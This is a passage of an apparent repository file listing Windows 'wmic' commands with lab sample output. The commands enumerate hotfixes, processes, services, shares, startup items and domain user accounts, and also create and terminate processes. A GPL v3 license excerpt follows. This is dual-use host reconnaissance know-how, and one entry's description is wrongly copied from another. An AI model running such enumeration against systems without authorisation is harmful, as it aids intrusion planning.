183 | ---- 184 | 185 | ## wmi 186 | According to Microsoft (http://msdn.microsoft.com/en-us/library/aa394531(v=vs.85).aspx), "the WMI command-line (WMIC) utility provides a command-line interface for WMI. WMIC is compatible with existing shells and utility commands." Additional information can also be found here https://isc.sans.edu/diary/Windows+Command-Line+Kung+Fu+with+WMIC/1229. 187 | 188 | For some of these `wmic` commands that pull information (versus perform an action) you can add `list full` to the end and retrieve the data in a non-table format. Sometimes this view is easier to read. Using `list brief` shows less data. The examples below show several output formats. 189 | 190 | ### BIOS Information 191 | * **Command with arguments**: `wmic bios [list full]` 192 | * **Description**: Retrieves BIOS information including system serial number. 193 | * **Output**: 194 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic bios list full


BiosCharacteristics={4,7,8,9,10,11,12,14,15,16,19,26,27,28,29,30,32,39,40,41,42,50,57,58}
BuildNumber=
CodeSet=
CurrentLanguage=
Description=PhoenixBIOS 4.0 Release 6.0
IdentificationCode=
InstallableLanguages=
InstallDate=
LanguageEdition=
ListOfLanguages=
Manufacturer=Phoenix Technologies LTD
Name=PhoenixBIOS 4.0 Release 6.0
OtherTargetOS=
PrimaryBIOS=TRUE
ReleaseDate=20120920000000.000000+000
SerialNumber=VMware-56 4d 8b 9d 3b a9 3a b4-a7 09 2d ff 09 9a e2 26
SMBIOSBIOSVersion=6.00
SMBIOSMajorVersion=2
SMBIOSMinorVersion=4
SMBIOSPresent=TRUE
SoftwareElementID=PhoenixBIOS 4.0 Release 6.0
SoftwareElementState=3
Status=OK
TargetOperatingSystem=0
Version=INTEL - 6040000
195 | 196 | ### Disk Information 197 | * **Command with arguments**: `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber` 198 | * **Description**: Retrieve information about the harddrive. 199 | * **Output**: 200 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
FileSystem FreeSpace Name Size SystemName VolumeSerialNumber
NTFS 33311481856 C: 42947571712 WIN-0P19ULL2NB6 1A095F16
201 | 202 | ### Patch IDs 203 | * **Command with arguments**: `wmic qfe get hotfixid` 204 | * **Description**: Retrieves BIOS information including system serial number. 205 | * **Output**: 206 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic qfe get hotfixid
HotFixID
KB955430
207 | 208 | ### Process Create 209 | * **Command with arguments**: `wmic process call create [EXECUTABLE]` 210 | * **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe"). 211 | * **Output**: 212 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1936;
ReturnValue = 0;
};
213 | 214 | ### Process Information 215 | * **Command with arguments**: `wmic process get caption,executablepath,commandline` 216 | * **Description**: Retrieves process names, captions, executable paths and command line flags. 217 | * **Output**: 218 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process get caption,executablepath,commandline
Caption CommandLine ExecutablePath
System Idle Process
System
smss.exe
csrss.exe
[...SNIP...]
dllhost.exe
dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe
taskeng.exe taskeng.exe {72464C44-C181-4387-A20A-569E0267D2AF} C:\Windows\system32\taskeng.exe
TPAutoConnect.exe TPAutoConnect.exe -q -i vmware -a COM1 -F 30 C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE
VMwareTray.exe "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" C:\Program Files\VMware\VMware Tools\VMwareTray.exe
vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
cmd.exe "C:\Windows\System32\cmd.exe" C:\Windows\System32\cmd.exe
cmd.exe
TrustedInstaller.exe
WMIC.exe wmic process get caption,executablepath,commandline C:\Windows\System32\Wbem\WMIC.exe
WmiPrvSE.exe
219 | 220 | ### Process Terminate 221 | * **Command with arguments**: `wmic process where name="[PROCESS]" call terminate` 222 | * **Description**: Terminates a process. Replace [PROCESS] with the name of the process you'd like to terminate and you *DO* need the quotes around it (for example: calc.exe). 223 | * **Output**: 224 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic process where name="calc.exe" call terminate
Executing (\\WIN-0P19ULL2NB6\ROOT\CIMV2:Win32_Process.Handle="1936")->terminate()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
};
225 | 226 | ### Service Information 227 | * **Command with arguments**: `wmic service [list full]` 228 | * **Description**: Retrieves ton of information about all the services installed on the system. 229 | * **Output**: 230 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic service list full


AcceptPause=FALSE
AcceptStop=TRUE
Caption=Application Experience
CheckPoint=0
CreationClassName=Win32_Service
Description=Processes application compatibility cache requests for applications as they are launched
DesktopInteract=FALSE
DisplayName=Application Experience
ErrorControl=Normal
ExitCode=0
InstallDate=
Name=AeLookupSvc
PathName=C:\Windows\system32\svchost.exe -k netsvcs
ProcessId=1056
ServiceSpecificExitCode=0
ServiceType=Share Process
Started=TRUE
StartMode=Auto
StartName=localSystem
State=Running
Status=OK
SystemCreationClassName=Win32_ComputerSystem
SystemName=WIN-0P19ULL2NB6
TagId=0
WaitHint=0


AcceptPause=FALSE
AcceptStop=FALSE
Caption=Application Layer Gateway Service
CheckPoint=0
CreationClassName=Win32_Service
Description=Provides support for 3rd party protocol plug-ins for Internet Connection Sharing
DesktopInteract=FALSE
DisplayName=Application Layer Gateway Service
ErrorControl=Normal
ExitCode=1077
InstallDate=
Name=ALG
PathName=C:\Windows\System32\alg.exe
ProcessId=0
ServiceSpecificExitCode=0
ServiceType=Own Process
Started=FALSE
StartMode=Manual
StartName=NT AUTHORITY\LocalService
State=Stopped
Status=OK
SystemCreationClassName=Win32_ComputerSystem
SystemName=WIN-0P19ULL2NB6
TagId=0
WaitHint=0
[...Truncated for brevity...]
231 | 232 | ### Share Information 233 | * **Command with arguments**: `wmic share [list brief]` 234 | * **Description**: Retrieve information about local shares. 235 | * **Output**: 236 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic share list brief 237 | Description Name Path 238 | Remote Admin ADMIN$ C:\Windows 239 | Default share C$ C:\ 240 | Remote IPC IPC$ 241 | Logon server share NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS 242 | Logon server share SYSVOL C:\Windows\SYSVOL\sysvol
243 | 244 | ### Startup Items 245 | * **Command with arguments**: `wmic startup [list brief]` 246 | * **Description**: Shows startup items, which user runs them and full paths to the executables. 247 | * **Output**: 248 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic startup list brief
Caption Command User
VMware Tools "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" Public
VMware User Process "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr Public
249 | 250 | ### User Information 251 | * **Command with arguments**: `wmic useraccount [list full]` 252 | * **Description**: Retrieve information about the user accounts on the system. 253 | * **Output**: 254 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>wmic useraccount list full


AccountType=512
Description=Built-in account for administering the computer/domain
Disabled=FALSE
Domain=LAB
FullName=
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=Administrator
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-500
SIDType=1
Status=OK


AccountType=512
Description=Key Distribution Center Service Account
Disabled=TRUE
Domain=LAB
FullName=
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=krbtgt
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-502
SIDType=1
Status=Degraded


AccountType=512
Description=
Disabled=FALSE
Domain=LAB
FullName=John Doe
InstallDate=
LocalAccount=FALSE
Lockout=FALSE
Name=johndoe
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-60789211-843652525-1994898995-1001
SIDType=1
Status=OK
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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------